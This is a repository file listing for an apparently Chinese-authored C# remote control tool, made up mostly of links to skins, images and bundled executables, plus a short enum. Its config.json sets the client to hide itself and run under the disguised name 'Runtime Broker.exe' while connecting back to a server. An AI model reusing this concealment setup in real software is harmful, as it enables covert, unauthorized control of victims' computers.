https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Silver/SilverColor1.ssk
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/Silver/SilverColor2.ssk:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Silver/SilverColor2.ssk
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/Silver/silver.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Silver/silver.gif
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/Silver/silver_color1.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Silver/silver_color1.gif
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/Silver/silver_color2.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Silver/silver_color2.gif
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/Sports/SportsBlack.ssk:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Sports/SportsBlack.ssk
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/Sports/SportsBlue.ssk:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Sports/SportsBlue.ssk
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/Sports/SportsCyan.ssk:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Sports/SportsCyan.ssk
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/Sports/SportsGreen.ssk:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Sports/SportsGreen.ssk
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/Sports/SportsOrange.ssk:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Sports/SportsOrange.ssk
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/Sports/sportsblack.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Sports/sportsblack.gif
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/Sports/sportsblue.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Sports/sportsblue.gif
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/Sports/sportscyan.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Sports/sportscyan.gif
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/Sports/sportsgreen.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Sports/sportsgreen.gif
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/Sports/sportsorange.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Sports/sportsorange.gif
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/Steel/SteelBlack.ssk:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Steel/SteelBlack.ssk
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/Steel/SteelBlue.ssk:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Steel/SteelBlue.ssk
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/Steel/steelblack.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Steel/steelblack.gif
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/Steel/steelblue.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Steel/steelblue.gif
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/Vista1/vista1.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Vista1/vista1.gif
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/Vista1/vista1.ssk:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Vista1/vista1.ssk
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/Vista1/vista1_green.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Vista1/vista1_green.gif
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/Vista1/vista1_green.ssk:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Vista1/vista1_green.ssk
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/Vista2/Vista2_color1.ssk:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Vista2/Vista2_color1.ssk
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/Vista2/Vista2_color2.ssk:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Vista2/Vista2_color2.ssk
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/Vista2/Vista2_color3.ssk:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Vista2/Vista2_color3.ssk
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/Vista2/Vista2_color4.ssk:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Vista2/Vista2_color4.ssk
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/Vista2/Vista2_color5.ssk:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Vista2/Vista2_color5.ssk
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/Vista2/Vista2_color6.ssk:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Vista2/Vista2_color6.ssk
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/Vista2/Vista2_color7.ssk:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Vista2/Vista2_color7.ssk
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/Vista2/vista2_color1.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Vista2/vista2_color1.gif
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/Vista2/vista2_color2.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Vista2/vista2_color2.gif
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/Vista2/vista2_color3.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Vista2/vista2_color3.gif
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/Vista2/vista2_color4.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Vista2/vista2_color4.gif
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/Vista2/vista2_color5.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Vista2/vista2_color5.gif
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/Vista2/vista2_color6.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Vista2/vista2_color6.gif
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/Vista2/vista2_color7.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Vista2/vista2_color7.gif
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/Warm/Warm.ssk:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Warm/Warm.ssk
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/Warm/WarmColor1.ssk:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Warm/WarmColor1.ssk
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/Warm/WarmColor2.ssk:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Warm/WarmColor2.ssk
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/Warm/WarmColor3.ssk:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Warm/WarmColor3.ssk
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/Warm/warm.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Warm/warm.gif
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/Warm/warm_color1.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Warm/warm_color1.gif
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/Warm/warm_color2.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Warm/warm_color2.gif
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/Warm/warm_color3.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Warm/warm_color3.gif
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/Wave/Wave.ssk:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Wave/Wave.ssk
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/Wave/WaveColor1.ssk:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Wave/WaveColor1.ssk
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/Wave/WaveColor2.ssk:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Wave/WaveColor2.ssk
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/Wave/wave.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Wave/wave.gif
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/Wave/wave_color1.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Wave/wave_color1.gif
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/Wave/wave_color2.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/Wave/wave_color2.gif
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/WinXP/XPBlue.ssk:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/WinXP/XPBlue.ssk
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/WinXP/XPGreen.ssk:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/WinXP/XPGreen.ssk
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/WinXP/XPOrange.ssk:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/WinXP/XPOrange.ssk
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/WinXP/XPSilver.ssk:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/WinXP/XPSilver.ssk
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/WinXP/xpblue.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/WinXP/xpblue.gif
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/WinXP/xpgreen.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/WinXP/xpgreen.gif
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/WinXP/xporange.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/WinXP/xporange.gif
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Skins/WinXP/xpsilver.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Skins/WinXP/xpsilver.gif
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Tools/EnigmaVirtualBox_7.3.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Tools/EnigmaVirtualBox_7.3.exe
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Tools/Interop.ThunderAgentLib.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Tools/Interop.ThunderAgentLib.dll
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Tools/MusicHunter.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Tools/MusicHunter.exe
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Tools/Newtonsoft.Json.Net35.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Tools/Newtonsoft.Json.Net35.dll
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/Tools/图标转换.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Tools/图标转换.exe
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/config.json:
--------------------------------------------------------------------------------
1 | {"ClientPara":{"ServerIP":"192.168.1.136","ServerPort":10010,"ServiceName":"Runtime Broker.exe","OnlineAvatar":"16238_100.png","IsHide":true,"ClientIconPath":null},"ServerPort":10010,"SkinPath":"F:\\Projects\\我的项目\\RemoteControl\\RemoteControl.Server\\bin\\Debug\\Skins\\Diamond\\DiamondBlue.ssk"}
--------------------------------------------------------------------------------
/RemoteControl.Server/bin/Debug/log4net.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/log4net.dll
--------------------------------------------------------------------------------
/RemoteControl.Server/control.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/control.png
--------------------------------------------------------------------------------
/RemoteControl.Server/ePathType.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 |
6 | namespace RemoteControl.Server
7 | {
8 | internal enum ePathType
9 | {
10 | APP,
11 | APP_DIR,
12 | SKINS_DIR,
13 | AVATAR_DIR,
14 | TOOL_DIR
15 | }
16 | }
17 |
--------------------------------------------------------------------------------
/RemoteControl.userprefs:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
--------------------------------------------------------------------------------
/Resources/back.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/Resources/back.png
--------------------------------------------------------------------------------
/Resources/category.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/Resources/category.png
--------------------------------------------------------------------------------
/Resources/copy.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/Resources/copy.png
--------------------------------------------------------------------------------
/Resources/cut.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/Resources/cut.png
--------------------------------------------------------------------------------
/Resources/delete.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/Resources/delete.png
--------------------------------------------------------------------------------
/Resources/disk.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/Resources/disk.png
--------------------------------------------------------------------------------
/Resources/download.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/Resources/download.png
--------------------------------------------------------------------------------
/Resources/dvd.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/Resources/dvd.png
--------------------------------------------------------------------------------
/Resources/folder.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/Resources/folder.png
--------------------------------------------------------------------------------
/Resources/newTXT.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/Resources/newTXT.png
--------------------------------------------------------------------------------
/Resources/newfolder.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/Resources/newfolder.png
--------------------------------------------------------------------------------
/Resources/paste.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/Resources/paste.png
--------------------------------------------------------------------------------
/Resources/qq.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/Resources/qq.png
--------------------------------------------------------------------------------
/Resources/setting.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/Resources/setting.png
--------------------------------------------------------------------------------
/Resources/upload.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/Resources/upload.png
--------------------------------------------------------------------------------
/copy.bat:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/copy.bat
--------------------------------------------------------------------------------